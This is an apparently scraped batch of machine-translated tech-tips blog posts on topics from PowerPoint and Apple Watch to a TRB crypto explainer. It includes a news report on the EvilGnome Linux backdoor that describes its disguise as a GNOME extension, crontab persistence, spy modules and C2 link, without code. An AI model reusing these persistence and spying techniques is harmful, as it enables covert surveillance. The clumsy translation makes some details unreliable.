choose the Start menu style, select the Start button type and click Apply to see the changes.\n  You can also change the transparency of the start menu and taskbar by checking Use custom start menu coloring and Use custom taskbar coloring and then adjusting the transparency by dragging the horizontal bar to the side.\n  You can see the Start menu and Taskbar have a nice translucent effect:\n  In addition, the application also has some other nice customizations, you find out for yourself:\n  If you've turned off the installation window and want to open it again, right-click the Start button and select Properties\n  Above is a tutorial on how to bring the start menu on Windows 7 to Windows 10 using the software StartIsBack. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kr7O1zaBkraCVYsC1rdGtZKadnqp6p77OpmSwoZ6ZvLi%2FjHBkraddrLavsM6wqmZpYA%3D%3D\n","link":"/post/bring-the-start-menu-from-windows-7-to-windows-10/","section":"post","tags":null,"title":"Bring the Start Menu from Windows 7 to Windows 10"},{"body":"Tellor allows DeFi DApps to receive high-value data for smart contracts. Feed stability and reliability are ensured by a competitive network of miners through Proof-of-Work (PoW).\n1. What is Tellor? Tellor is a decentralized Oracle network designed to bring secure and high value off-chain data into Ethereum. Tellor was established on August 1, 2019 and is headquartered in the United States.\nMany organizations see Tellor as the bridge providing real-world information and data for smart contracts, especially DeFi applications on Ethereum.\nThe system uses a network of competitive miners through Proof-of-Work to submit the official value for the requested DeFi data. The 5 fastest Tellor miners that deliver the requested data are rewarded with TRB.\nTellor addresses Oracle's problems on Ethereum such as:\nThe smart contracts themselves are incapable of interacting with any data source other than the blockchain. So smart contracts depend on centralized feed.\nTellor solves the problem of the lack of secure and decentralized feeds for DeFi applications on Ethereum.\n2. What is TRB Token? TRB is the main cryptocurrency in the Tellor ecosystem issued through mining, not ICO. TRB launched on August 5, 2019.\nTRB coin is used:\nPayout: Miners use TRB to claim the specific data they need when mining on-chain data and get paid in TRB tokens as rewards. Margin: Miners will be required to deposit TRB in the Tellor smart contract before mining starts. Dispute resolution and administration: Vote for data validity. TRB Token Basics:\nTicker: TRB Contract: 0x0ba45a8b5d5575935b8158a88c631e9f9c95a2e5 Blockchain: Ethereum Standard Token: ERC-20 Toke type: Can be exploited. Maximum Supply: Not planned Total Supply: 1,449,661 TRB Circulating Supply: 1,356,350 TRB 3. Tellor roadmap Tellor's biggest event is the V2 update released in late 2020 with some notable improvements such as:\nReward limit per miner, miner. No time limit for disputes. Dispute many rounds. Increase stake from 1,000 TRB to 2,000 TRB to control malicious individuals. It is expected that by the end of this year Tellor will launch Alternate Chain (AC) with the plan to build PoS Tellor system on AC.\n4. Tellor's partners and investors Tellor's major partners include MakerDAO, Binance Labs and Consensys.\n5. Tellor Digging (TRB) Tellor uses a hybrid algorithm called PoW, so we can mine TRB through TRB mining.\nTo participate in TRB mining, follow the steps below:\nDownload the latest version of Binary Release to your device. Open the program. Stake 1000 TRB into your account and start mining TRB. 6. Buying and selling Tellor (TRB) TRB is currently ranked 315 on Coinmarketcap and is listed and traded on many different exchanges such as Binance, Bilaxy, Hotbit, CITEX, IDEX, .\nThe average total trading volume over the past 30 days reached more than $ 1.65 million.\n7. Does the Tellor project have potential? Should we invest in TRB? Basically TRB coin is appreciated based on the fundamentals of the Tellor project and the progress that Team is implementing the project's goals and milestones.\nBy using Technical Analysis investors can predict what the price of a TRB will be over a short period of time and calculate the right size of their investment, as well as using tools and techniques. Another technique to predict whether the TRB will rise or fall over the next few days, weeks or months.\nHowever, the cryptocurrency market is volatile and unpredictable in the long term. So Taimienphi.vn also recommends that you do a thorough investigation before making a decision whether to invest in TRB as well as other coins.\nTipsMake's above article has just provided you with useful information about Tellor project as well as TRB co. All information in this article is for REFERENCE only and not investment advice. In addition, if you are planning to invest in Dexe virtual money, readers can refer to some articles already on TipsMake.com to learn details about this coin.\nGood luck.\nvirtual money investing virtual money ncG1vNJzZmismaXArq3KnmWcp51ksbCx0maroZ1dqbKtuM6rZKmqn5%2BypMCMoZivnV2lvLWxza2gmqRdqLWwwcudZLCdXZ67t7HSrWSipl2pv6M%3D\n","link":"/post/does-the-tellor-project-have-potential-should-we-invest-in-trb/","section":"post","tags":null,"title":"Does the Tellor project have potential? Should we invest in TRB?"},{"body":"Comprehensive email management is the advantage of high-end devices like BlackBerry and Palm Treo. However, two free services Flurry and Teleflip still allow you to check your email right on a regular mobile phone.  Flurry's inbox displays the header header for each email\nFor Flurry, you need to own a Java-enabled mobile phone and have Internet access. After registering, you will receive a text message with a link, you need to click it to download and install a Java utility. Installation takes only a few minutes.\nThen, each time you launch, the utility will download the header (header) of the emails. All emails that this utility downloads are processed through Flurry server - which is responsible for compressing images and removing headers to reduce data download time. You can add multiple email accounts and RSS feeds and sync contacts in CSV file format through Flurry's account management homepage. You can also set up filters, for example, only downloading emails sent from predefined people. Flurry does not update the inbox if it has not been requested, but you can set up an alert feature every time you receive a new email. Flurry officially announced this service to support about 700 phones worldwide. However, Flurry cannot operate on the Alltel and Verizon networks that prohibit third parties from installing software on their devices. Easy access  Teleflip uses SMS to display email content on mobile phones\nTeleflip does not encounter Flurry's problems because it does not require users to download the software. You only need to register online via the computer and list the email addresses of those who email you to download to your phone. Teleflip's servers will immediately forward emails via SMS text messages. This makes Teleflip look like an email push and is almost accessible on all current mobile models.\nHowever, Teleflip also has some disadvantages. For example, the ability to create a safe sender list (whitelist) with anti-spam task makes it difficult to control the inbox, you also take a moment to put all of your existing contacts into the list. this. Similarly, because SMS content cannot exceed 160 characters, Teleflip must cut longer messages into multiple small messages. Flurry and Teleflip plan to commercialize ads placed at the end of each email. Although these two services are free, you still have to pay for the mobile network to receive data or text messages. The two free services can be found at Flurry: http://www.flurry.com and Teleflip: https://www.teleflip.com.\nncG1vNJzZmismaXArq3KnmWcp51ksq6tyKVkn6eiYrqwrsilnGaomKS7pr8%3D\n","link":"/post/email-for-mobile-phones/","section":"post","tags":null,"title":"Email for mobile phones"},{"body":" This wikiHow teaches you how to edit slide masters in PowerPoint. Slide masters are used to apply the same layout, fonts, styles, images, and placeholders to multiple slides in a PowerPoint presentation. A slide master can have multiple...\nPart 1of 5:\nAccessing Slide Master View Open PowerPoint. Power Point has a red circular icon with a \"P\" to the left. Click the icon in the Windows Start menu, or the Applications folder in the Finder on Mac.\n Open or create a new PowerPoint presentation. To open a new PowerPoint presentation, click New in the panel to the left, and then the \"Blank Presentation\" tile. To open an existing PowerPoint presentation file, click Open in the sidebar to the left, and then click a recent PowerPoint presentation, or click Browse to browse and navigate to a PowerPoint presentation on your computer and click Open. If you have PowerPoint presentations saved on your OneDrive, click OneDrive and then click a PowerPoint presentation you wish to open.  Click View. It's in the menu bar at the top of the page. This displays the \"View\" panel at the top of PowerPoint.\n Click Slide Master. It's in the \"View Master\" section in the view panel at the top of PowerPoint. It has an icon that resembles a slide with two sections in it. This switches to the Master View mode where you can edit the slide masters and layouts. The slide masters and layouts are listed to the left of the slide view in the center.[2]\n Click a slide master or layout. The slide masters and layouts are displayed to the left of the main view in the center. Clicking a slide master or layout selects it and displays the contents of the slide master or layout in the main view screen in the center. From there you can edit the slide master or layout.\n Click Close Master View. It's the button on the far right of the panel at the top of PowerPoint in the \"Close\" section. It's below an icon with a red \"x\". When you are finished editing the slide masters and layouts, click this icon to return to the normal slide edit mode.\n Part 2of 5:\nAdding and Deleting Slide Masters and Layouts Open the slide master view mode. To access slide master view mode, click View and then the Slide Master icon.\n Click Insert Slide Master. It's in the \"Edit Master\" section in the panel in the upper-left corner. This adds a new Slide Master to the PowerPoint layout.\n Select a slide master and click Insert Layout. The slide masters and layouts are listed to the left of the view screen in the center. Click a slide master to select it. Then click Insert Layout in the panel at the top in the upper-left corner. It's to the right of the \"Insert Slide Master\" icon. This inserts a new layout slide below the slide master.\n Right-click a slide master or layout. Right-clicking a slide master or layout in the list on the left side displays a menu to the right of the slide master or layout.\n Click Delete Slide Master or Delete Layout. This deletes the slide master or layout. When you add a new slide master, it has a number of default layouts. You can delete all the ones you don't plan on using. There must be at least one slide master in the list on the left. You can also use the right-click menu to rename or duplicate slide masters and layouts.  Part 3of 5:\nEditing Backgrounds and Themes Open the slide master view mode. To access slide master view mode, click View and then the Slide Master icon.\n Click Themes. It's in the \"Edit Themes\" box at the top. It's below an icon that resembles a slide with \"Aa\" in the middle. This displays a menu with slides.\n Click a theme. Look for a theme that has a color and look that you like and click it This creates a new slide master and layouts based on that theme.\n Click Colors. It's in the \"Background\" panel at the top of the page. This displays a drop-down menu with different color schemes.\n Click a color scheme. This applies the color scheme to the slide master and all the layouts below the slide master. If you want to create layouts with different themes, color schemes, or fonts, you need to create a new slide master.  Click Background Styles. It's in the \"Background\" panel at the top of the page. This displays a list of different background colors that match your color scheme.\n Click a background color. This applies the background layer to the slide master or layout. Applying a background style to a slide master affects all the layouts below the slide master. Applying a background style to a layout only affects that layout.  Click Format Background (optional). It's in the \"Background Styles\" menu. This displays a sidebar menu to the right that gives you more options to edit the background.\n Click a background type. The background types are listed below \"Fill\" in the \"Format Background\" menu on the right. The background types are as follows. Solid fill: This applies a single color to the background. Use the \"Color\" drop-down menu to select a color. Gradient:. This applies a fade with two or more colors as a background. To change the gradient colors, click a stop below \"Color stops\" and then use the \"Color\" drop-down menu to select a color. Select the gradient type using the \"Type\" drop-down menu. Picture or texture fill: This option allows you to use an image as your background. Click File to select an image file from your computer or use the \"Texture\" drop-down menu to select one of the texture images. Pattern fill: This option allows you to use a pattern as your background. Select a pattern in the menu below \"Pattern\" and then use the \"Foreground\" and \"Background\" drop-down menus to select colors for the pattern.  Click Apply to all (optional). It's at the bottom of the \"Format background\" menu on the right. This applies your background settings to slide master and all the layout slides. If you do not click Apply to all, it will only apply your background settings to a single layout.  Click Font. It's in the \"Background\" panel at the top of the page. This displays a list of fonts.\n Select a font. Click a font in the list to select it. Each font has a preview of what the font looks like. Selecting a font applies the font to the slide master and all layouts below the slide master.\n Part 4of 5:\nEditing Placeholders Open the slide master view mode. To access slide master view mode, click View and then the Slide Master icon.\n Click a slide master or layout you want to edit. The slide masters and layouts are listed to the left of the main view screen in the middle. Click a layout or slide master displays the slide in the main view screen.\n Click Insert Placeholder. It's in the \"Master Layout\" section in the panel at the top. It's below an icon that resembles a slide with an image in it. This displays a drop-down menu with placeholder types. Placeholders are temporary boxes that indicate where content will eventually be placed in a slide.\n Select a placeholder type. There are 8 different places holder types you can choose from. The placeholder types are as follows: Content: Content placeholders can be filled with any type of content, such as text, images, tables, charts, videos. Text: Text placeholders are used to indicate where text will go. You can use a text placeholder to format your text before you even know what the text will say. Image: Image placeholders will eventually be filled with an image files, such as a JPEG. Chart: Chart placeholders are used to indicate where a chart or graph will be placed. Table: Table placeholders are used to indicate where a table, such as those created in Excel will be placed. SmartArt: SmartArt is Microsoft's editable graphics. A smartArt placeholder indicates where smartArt will eventually be placed.[3] Media: Media placeholders indicate where media, such as a video file will eventually be placed. Online Image: An online image placeholder indicates where you can choose an image from online  Click and drag within the slide. This places the placeholder within the slide master or layout. To edit the position of a placeholder, click and hold a blank spot inside the placeholder bounding box. Then drag the placeholder to where you want to go. To rotate a placeholder, click the circular arrow icon above the placeholder bounding box and drag left or right to rotate the bounding box. To adjust the size of the placeholder, click and drag the small circles in the corners and sides of the placeholder bounding box. To Delete a placeholder, click the place holder and press Delete.  Right-click placeholder text. When you right-click text within a placeholder, a menu appears that allows you to format the placeholder text.\n Format the placeholder text. Use the box at the top of the menu that appears when you right-click on the text to format the text. You can use this box to select a font, font size, add bold, italic, or underline the text, align the text, or change the text or highlight color. The actual text within a placeholder will not apply to the rest of the slides in a PowerPoint presentation. Only the text style in the placeholder will apply to the slides in a PowerPoint presentation. You can also use the options in the menu to add other text effects such as bullets or a numbered list, or text effects such as shadow, glow, or 3D.  Part 5of 5:\nApplying a Slide Master or Layout to PowerPoint Slides Exit Master View mode. If you haven't already done so, click Close Master View in the panel at the top to leave master view mode and return to normal view mode.\n Right-click a slide. The slides are listed to the left in PowerPoint. Right-click a slide to display a menu to the right of the slide. You can also insert a new slide by click Insert in the menu bar at the top and clicking New Slide  Hover over Layout. This displays a menu with your slide master and layouts to the right.\n Click a slide layout. This applies the layout to the slide.\n Click the icon inside a placeholder. Depending on the placeholder type, a window will pop-up that allows you to add content to the placeholder. Use the following steps to add content to the placeholder. Text: Click the placeholder text to edit it. Highlight the text and press Delete to remove the placeholder text. Then type your own text. Image: Click the image icon to open a file browser. Select an image on your computer and click Open. Chart: Click the chart icon in the placeholder. Then select a chart type in the menu to the left of the window and click a chart style at the top and click Ok. Use the table to edit the labels and numbers for the chart. Table: Click the table icon in the placeholder and then type the number of columns and rows for the table and click Ok. Then click each cell and add your own text to the cell. SmartArt: Click the SmartArt icon in the middle of the placeholder. Then select the type or art in the menu on the left. Then select a style in the center and click Ok. Use the pop-up window to add text to the graphic or click the text boxes in the graphic and type your own text. Media: Click the media icon in the center of the placeholder and then use the file browser to navigate to an audio or video file on your computer. Click the audio or video file and click Insert. Online Image: Click the online image icon in the center of the placeholder. Then use the search bar to search for an image. Click an image you like to select it.   Kareem Winters Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2UnsFurYypprCdoqW8qrrTZqSaq6Sav26%2Fy6Kbng%3D%3D\n","link":"/post/how-to-edit-a-powerpoint-master-slide/","section":"post","tags":null,"title":"How to Edit a PowerPoint Master Slide"},{"body":"You want to set a countdown timer when you're doing an important job, need to carefully calculate the time, Apple Watch can easily help you do it with just a few simple setup steps.\nHow to use the quick timer on Apple Watch The Apple Watch's built-in Timer app gives users quick access to frequently used timer settings. Just pick up your Apple Watch and press the Digital Crown button. Then, open the Timer application from the grid or list view on the application screen.\n  Here you'll see 8 circles that correspond to the preset timers on the Apple Watch, ranging from 1 minute to up to 2 hours (scroll down with the Digital Crown to see more available timers) . Just click to choose a timer that suits your current needs to get started.\n  You can now press the Digital Crown to return to the main watch face. If you want to cancel the timer in use, simply open the Timer app again and tap the 'Cancel' button.\nWhen the timer runs out, Apple Watch will give a vibration response with a notification sound (if your Apple Watch is not in Silent mode). At this point, you just need to pick up the watch and press the 'Stop' button on the screen to stop the timer. If you want to repeat the timer, tap the \"Repeat\" button.\n  How to customize a timer on Apple Watch The Apple Watch Timer app also lets you set and save custom timers yourself. You can access your frequently used custom timers in the 'Recent' section of the Timer app.\nFirst, open the Timer app on your Apple Watch and scroll to the bottom of the app. Here you click on the yellow 'Custom' button and start customizing the timer (you can set the hours, minutes, seconds as you want), and press the 'Start' button. You will see the countdown timer you just set appear on the screen.\n  When the time runs out, press the 'Stop' button. You can also pause or cancel the timer from the Timer app.\nThe next time you visit the Timer app again, you'll find your custom timer in the 'Recents' section.\n  How to customize a timer with Siri on Apple Watch The fastest way for you to set up a custom timer on Apple Watch is to use Siri virtual assistant.\nOn Apple Watch, you press and hold the 'Digital Crown' button to bring up Siri. Or, if you're using a newer Apple Watch (Series 3 or later), just bring your Apple Watch to your mouth and say a command to activate Siri.\n  Once Siri has been activated, clearly read the time period that you want to set as the timer. For example, you could say, Set a six-minute timer'. Siri will immediately confirm that your timer has been created and ready to use.\n  In case you want to see how much time you have left on your timer, just ask Siri: 'Show my timer'. You can also stop the timer at any time by saying 'Stop my timer'.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXqiecKuqq2nnWLBqrnEq2Sopl2WvbG4xGaumqyTnQ%3D%3D\n","link":"/post/how-to-set-a-custom-timer-on-apple-watch/","section":"post","tags":null,"title":"How to set a custom timer on Apple Watch"},{"body":"This application is preferred by many iPhone users because it is deeply integrated into iOS, as well as allows sending emails with attachments quickly to many different email applications.\nOn iOS, if you block a contact in your contacts, the Mail app will also 'blacklist' the email address associated with that contact.\nHowever, by default, the Mail app does not completely block emails sent from contacts that you have blocked. Instead, it still receives these emails, marks them as sent from someone who has been blocked, and stores them in your inbox along with the rest of the emails.\nIf you don't want to see emails coming from senders that you've blocked, you can delete them from your inbox. This involves changing the Mail app setting to automatically delete emails from 'blacklisted' accounts.\nSet to automatically delete emails from blocked senders on iPhone Follow the simple steps below to delete emails from blocked contacts:\nStep 1. Open the Settings app (gear icon) on your iPhone.\nStep\u0026nbsp;2. In the settings menu, scroll down and tap on ' Mail ' to adjust some related settings.\n  Scroll down to the Threading category . Here, click on ' Blocked Sender Options '.\n  Click on the option 'Move to Trash' . (Before that, the enabled option was ' Leave in Inbox ').\n  Now, incoming emails from the people you blocked will be moved to the \"Trash\" section of the Mail app. If you want to view these emails, just open the Mail app and go to ' Trash '. Note that they will only be stored in the Trash section for a certain period of time.\n  To manually manage the list of blocked contacts on the Mail app, simply navigate to ' Settings -\u0026gt; Mail -\u0026gt; Blocked '.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIyarK2nnZbBqq%2FApaOyZZSauabAxGacppmZocBustGopGaanKSwrLHDZqqeppSav267zWagqaCfo7I%3D\n","link":"/post/how-to-set-up-automatically-delete-emails-from-blocked-sender-on-iphone/","section":"post","tags":null,"title":"How to set up automatically delete emails from blocked sender on iPhone"},{"body":"20 years ago, Windows 2000 was officially released by Microsoft. Windows 2000 is extremely stable, aimed at business users in place of Windows 98 and Windows Millennium Edition. This version of Windows also paved the way for later consumer versions of Windows, including Windows 10.\nA lot of people love Windows 2000 and this is why:\nWindows 2000 was developed based on Windows NT and not MS-DOS\nWindows 2000 was launched globally on February 17, 2000, codenamed Windows NT 5.0. From this version, Windows will have its own trade name, not the same NT version name as before. Windows NT is Microsoft's professional operating system product line.\nWindows 2000 is built on the Windows NT platform Microsoft built Windows NT from scratch in the 1990s to replace MS-DOS-based operating systems such as Windows 3.x. A strategic change from Microsoft.\nDuring the 1990s, Microsoft maintained versions of DOS-based Windows in parallel with NT to cater to users who were still dependent on the old 16-bit MS-DOS Windows software. Microsoft wanted all users to switch to using NT-based Windows operating systems, but at that time most of the users' computers did not meet the minimum configuration of Windows NT.\nBy the late 1990s, many families owned computers that were powerful enough to run Windows NT. Therefore, they became potential customers of Windows 2000. Microsoft executives hope that Windows 2000 will become a transition point, bringing Windows users to the \"NT era\". But eventually Microsoft decided to delay the leap until Windows XP came out in 2001.\nThis makes Windows 2000 users feel good because they enjoy a stable version of Windows first.\nWindows 2000 is much more stable than Windows Me\nIf you've ever used your computer in the late 90's, you're probably familiar with the occasional freeze, hang, and reboot. These are common problems of MS-DOS, Windows 3.x and Windows 9x. The DOS-based ecosystem is a bunch of cards built on patchy, outdated code and running on a variety of different hardware.\nAs DOS-based Windows became more complex and more functional, many people started to work seriously with computers. And then, problems constantly arise. For example, Windows 98 frequently requires rebooting and reinstalling to fix confusing issues, incompatibilities between software, and the operating system. Windows Me (released in September 2000), the last version of Windows based on DOS, was criticized for being bloated and unstable.\nStable performance is the main attraction of Windows 2000 Windows 2000 is different, it runs smoothly on the hardware that users have ever installed Windows 98. At that time, it was really miraculous if a computer could run without problems and without having to boot. again after installing the software. In fact, Microsoft has added Windows 2000 to completely reduce the \"Dramatically Reduced Reboot\" scenario. This feature attracted customers, which Microsoft promoted strongly on their homepage in 2000.\nWindows 2000 has a bunch of useful features\nWindows 2000 comes with four different versions: Professional, Server, Advanced Server and Datacenter Server. Windows 2000 Professional is aimed directly at enterprise and office PC models and is the most used version. All versions of Windows 2000 are equipped with new, advanced features that make it an attractive upgrade for both Windows NT 4.0 and Windows 98.\nSeveral interface changes to distinguish between Windows NT and Windows 98 were also introduced by Microsoft in Windows 2000. The new operating system also supports technologies such as Active Desktop, USB, NTFS 3.0 and FAT32. Supporting DirectX also makes Windows 2000 compatible with many modern computer games. Windows 2000 helps Windows NT take a further step in its journey to become a universal operating system, suitable for both business, business and entertainment.\nThe professional-looking gray interface of Windows 2000 Quite a few important features, considered core components of Windows, were first launched on Windows 2000. They include Windows Installer, providing a unified application installation / uninstall experience; Windows File Protection, which helps protect system files; Microsoft Management Console, supporting users to manage important system functions easily through a unified interface; Recovery Console, restore the system if serious software errors are encountered; Finally, Active Directory provides a way for users to manage a new Windows domain.\nWhen released, Windows 2000 was criticized for not being compatible with some drivers. However, this operating system actually supports more hardware than Windows NT 4.0. With support for both peripherals, sound cards and graphics, Windows 2000 became the first widely compatible version of Windows NT, not only for businesses but also for everyone.\nWindows 2000 is almost a free operating system\nAlthough shaped as an operating system for computers in offices and businesses, Windows 2000 Professional is also installed on many home computers. This comes from the fact that Windows 2000 is too stable as well as piracy, widespread installation of pirated Windows. The weak copy protection system based on Microsoft 's serial numbers could not control the situation.\nIf you buy money, Windows 2000 is quite expensive, the Professional version retails for $ 319 (equivalent to about $ 480 currently). Many people think that Windows 2000 is too expensive because Windows 98 is only priced at 109 USD (about 164 USD currently).\nBecause Windows 2000 is not pre-installed on computers sold to consumers, if you want to own you will have to spend money to buy. If you want to install pirated, you just need to borrow the Windows 2000 installation disc from someone who bought it.\nAfter years of enduring crashes on Windows 98 and Windows Me, Windows 2000 is like a miracle on a user's computer.\nWindows 2000 was used as an alternative to Windows XP\nFor several years, Windows 2000 was considered an alternative to Windows XP, its successor. When it was first released, Windows XP was tattered as well. Controversial features on Windows XP include an Internet-based copyright activation system that will not work if you change computers. Next, the colorful interface of Windows XP was criticized by some users as a childish toy.\nThe colorful interface was criticized by some users as a child of Windows XP Some users prefer the gray interface of Windows 2000. They think that Windows 2000 looks more professional and can run most Windows XP applications.\nWindows 2000 opens the way to the future for Windows\nWithin Microsoft, Windows 2000 is an important stepping stone in bringing the mature technology platform in terms of technology, system stability to the masses. Windows 2000 proves that a technically advanced Windows operating system can simultaneously have user-friendly interface and user-friendly features with multimedia content.\n\"If we do not do Windows 2000, we will never be able to do Windows XP. Windows 2000 makes NT-based operating system a consumer operating system with extremely high compatibility\" , Says Steven Sinofsky, former vice president of Microsoft's Windows division.\nWindows 2000 is an important link in Microsoft's unbroken product chain, starting with Windows NT 3.1 in 1993 and currently Windows 10.\nMinimum configuration required to run Windows 2000\nAt that time, the minimum configuration of a computer to run Windows 2000 Professional was:\nCPU Pentium 133MHz or higher 64MB RAM or higher 2GB hard drive with at least 650MB free Windows 2000 Professional supports both single and dual core CPUs Windows 2000 is an important link in the Windows product system In fact, to have a reasonable experience, Windows 2000 needs a more powerful machine than the above configuration.\nTechnology has evolved a lot in recent years, the hardware power and capabilities of the operating system have all grown tremendously. However, these achievements could not have been achieved without Windows 2000.\nncG1vNJzZmismaXArq3KnmWcp51ktq95zJ6kqKqpYrynedaipZ2np6h6c3yPaWSmoZOnvLS7xa2qZp6fp7SwwNOepWaZoqnEsL7K\n","link":"/post/in-memory-of-windows-2000-microsoft-s-forgotten-artwork/","section":"post","tags":null,"title":"In memory of Windows 2000, Microsoft's forgotten artwork"},{"body":"Macrorit Data Wiper Pro is a software that thoroughly removes system data, helping users to prevent data from being recovered and stolen by others. Currently, this $ 29.95 file deletion toolkit is being licensed for free by the publisher of Macrorit Soft permanently copyright until the end of 16h on 21/6/2018. If you have a need to use it, please quickly follow the instructions below to own this useful software without spending any money.\nSome key features of Macrorit Disk Partition Wiper:\nWipe and permanently delete data on the hard drive or on disk partitions. Compatible with various operating system and drive versions. Compact size, user-friendly interface. Help maximize drive performance. Support five different erase methods suitable for many uses. Instructions for copyright registration for free Macrorit Data Wiper Pro\nStep 1: Visit the link below and click DOWNLOAD MACRORIT DATA WIPER PRO NOW.\nhttps://sharewareonsale.com/s/free-macrorit-disk-partition-expert-pro-29-95-value   Step 2: Fill in the information and click on GIVE IT ME NOW.\nStep 3: The installation file will be downloaded automatically. In addition, there is a license key in the page, you need to save it to activate the application when installing.\nStep 4: Unzip and select the installation file that matches the operating system you are using. At Macrorit Data Wiper Pro interface click Activate !.\n  Step 5: Enter the license key in the anti-frame and click Activate to activate the Macrorit Data Wiper Pro license.\nStep 6: At the successful activation notice, click OK to confirm.\nNote:\nThe time for free registration of Macrorit Data Wiper Pro software only lasts until 16h on 21/6/2018.\nSee more:\nDownload the compression and decompression tool PowerArchiver 2018, which costs $ 22.95, and is free of copyright for 1 year Download for $ 59.99 On1 Effects 2018 photo editing software, free for life Download SafeDNS Agent for Safe Browsing software for $ 9.95, free of charge ncG1vNJzZmismaXArq3KnmWcp51ktq%2FCyK2cZqyfYrGww82lppqcXaKupL7Oq6CtZZSWwaJ51qKnnqpdpb%2BwecBmq6GnoqTCqLSMnZitmV2nsq671ZqjZqyfpLluss6rZGtxaWp6p77EnmSonl2YtaK%2Bxp4%3D\n","link":"/post/invite-to-download-macrorit-data-wiper-pro-a-thorough-data-removal-tool-for-29-95-free-of-charge/","section":"post","tags":null,"title":"Invite to download Macrorit Data Wiper Pro, a thorough data removal tool for $ 29.95, free of charge"},{"body":"Earlier this month, Intezer Labs' security researchers discovered a new Linux malware, capable of disguising itself as a Gnome shell extension, and designed to track those people are using Linux desktops, making them unable to recognize its appearance.\nThis backdoor implant is named EvilGnome, and is still not recognized by any anti-malware tool on VirusTotal [1, 2, 3]. More dangerous, it is also accompanied by a number of extremely rare malicious capabilities in the range of malware targeting the Linux system.\n  EvilGnome has not been identified by any anti-malware tool on VirusTotal\n\"The malicious features included with EvilGnome, including desktop screenshots, data theft (files), automatic recording of the user's microphone audio, and the ability to download and execute. new malicious modules in the future More dangerous, this backdoor implant also has a keylogger function in development, and once completed, it can record comments, passwords and Compiled metadata, which normally doesn't appear in Linux malware versions has ever been recorded, 'said Intezer Labs research team.\nNew Android Trojans lead users to phishing websites by notification on the application Linux EvilGnome malicious code Infection through self-extracting archives Multi-backdoor modules with the same spy features Each suspicious contact with Gamaredon Group hacker group Infection through self-extracting archives EvilGnome is distributed with the help of self-extracting repositories created with the shell makeelf script, in which all metadata forms during the creation of a malicious 'payload' repository in the target its threads.\nThe malicious infection process is automated with the help of an auto-run argument, left in the self-executing payload titles. This argument is responsible for guiding malware to launch the file named setup.sh, thereby adding the malware agent to the address ~ / .cache / gnome-software / gnome- shell-extensions / folder, then try to sneak into the victim's system and disguise as a Gnome shell extension.\nThe official GandCrab 5.2 decoder was released, ending the bad nightmare called GandCrab Ransomware   Self-extracting metadata metadata\nIn addition, EvilGnome will also add a gnome-shell-ext.sh shell script to the crontab of the infected Linux computer, the script is designed to check whether spyware agents are running ( minute checking).\nThe gnome-shell-ext.sh script will be executed at the end of the infection process, enabling the launch of gnome-shell-ext spyware agents.\nEvilGnome's configuration, stored in the rtp.dat file, will also be included in the self-extracting archive, and it allows the backdoor to obtain the commander's server and control IP address (C2).\nYour Linux system can be hacked just by opening a file in Vim or Neovim Editor Multi-backdoor modules with the same spy features This malware comes with 5 different modules. In particular, each module is designed to operate in a separate thread and can occupy \"access to shared resources (as configured), which is securely protected by the mutex\".\nWhile analyzing EvilGnome's backdoor implant, Intezer Labs researchers found the following modules:\nShooterAudio - record audio from a user microphone and upload it to C2 ShooterImage - take a screenshot of your computer screen and upload it to C2 ShooterFile - scan file system (file system) for newly created files and upload them to C2 ShooterPing - receive new orders from C2, filter data, and can download and execute new malicious payloads ShooterKey - in development and not yet used, will most likely be a keylog module. Once completed, it can record comments, passwords and compiled metadata on the system All traffic sent to and from the malware's C2 servers will be encrypted and decrypted by EvilGnome through RC5 symmetric block encryption, using the same decryption key with help from a variant of the open source library RC5Simple.\nAccording to an analysis of Intezer Labs researchers, in case they cannot communicate with their C2 server, the malware samples will store all output data and data they steal in the mail. ~ / .cache / gnome-software / gnome-shell-extensions / tmp / on the memory itself of infected Linux systems.\nShade ransomware, the nightmare of 5 years ago is showing signs of returning   EvilGnome's module list\nEach suspicious contact with Gamaredon Group hacker group EvilGnome also seems to be connected to a group of hackers that distribute malware from Russia called Gamaredon Group. According to a report by a group of security intelligence experts from Unit 42 team (belonging to Palo Alto Networks security company), Russian Gamaredon Group has been operating at least since 2013 and is the name behind many battles. High-tech attack (ATP) attacks persist and leave much serious damage.\nAlthough initially, Gamaredon Group relied heavily on the tools available to launch offensive campaigns, but then the group recruited many more members with high technical expertise, and gradually moving to custom malware development with a significantly increased level of danger.\nAccording to an analysis of Intezer Labs, malware developers behind EvilGnome and Gamaredon Group contacted each other through the use of the same hosting service provider, as well as the use of servers. C2 is connected to the domain (domain) related to the Russian hacker group of this malicious software.\nIn addition, both EvilGnome and Gamaredon Group use port 3436 to connect to their C2 server via SSH, with \"2 additional servers owning the same domain name as the Gamaredon domain name method (use .space TTLD and ddns) \", was found by Intezer Labs security research teams in EvilGnome's C2 server provider infrastructure.\nThe most dangerous hackers on the planet: Anonymous, Equation Group, Department 121 . What do you know about them?   The SSH port opens on EvilGnome and Gamaredon's C2 server\nLast but not least, though, Gamaredon Group has never developed or used any malware related to Linux, but the modules and techniques used by EvilGnome's backdoor like \"use SFX, persistence with task scheduler and deployment of information stealing tools . is extremely coincident with the techniques used by many Russian hackers so far. .\nFinally, Intezer Labs' security team released a list of system attack traces (IOC) after ending EvilGnome's behavioral analysis, including sample hashing of malicious software. harm, also like the IP address / domain it shares with other tools developed by Gamaredon Group.\nIt is not surprising that future investigation results show that EvilGnome is closely related to Gamaredon Group, or even developed by this hacker group.\nncG1vNJzZmismaXArq3KnmWcp51kuqK4yJygqK2jYrCwsMRmnK%2BhnJy7sLnEZpitrJGYuLR5y6KlrrBdqMa0wMSmqmavmam1brnAp7BmqpGnsm7A0aKapKs%3D\n","link":"/post/malicious-code-evilgnome-attacks-linux-systems-with-many-rare-tricks/","section":"post","tags":null,"title":"Malicious Code EvilGnome attacks Linux systems with many rare tricks"},{"body":"Windows 11 also has small features to enhance the user experience. One of those features is Enhance Audio, which improves the sound on Windows 11.\nIn this article, TipsMake.com will guide you how to enable Enhance Audio feature on Windows 11.\nHow to enable Enhance Audio feature on Windows 11 To enable Enhance Audio on Windows 11 follow these steps:\nStep 1 : Open Settings by pressing the Windows + I keyboard shortcut or clicking on the Start menu and then clicking Settings (gear icon).\n  Step 2 : In the System section select Sound\n  Step 3: In Sound, scroll down to find Advanced. Here, you click All sound devices\n  Step 4: Select Spekers/Headphones in the Output devices section\n  Step 5: Scroll down to find Output settings section 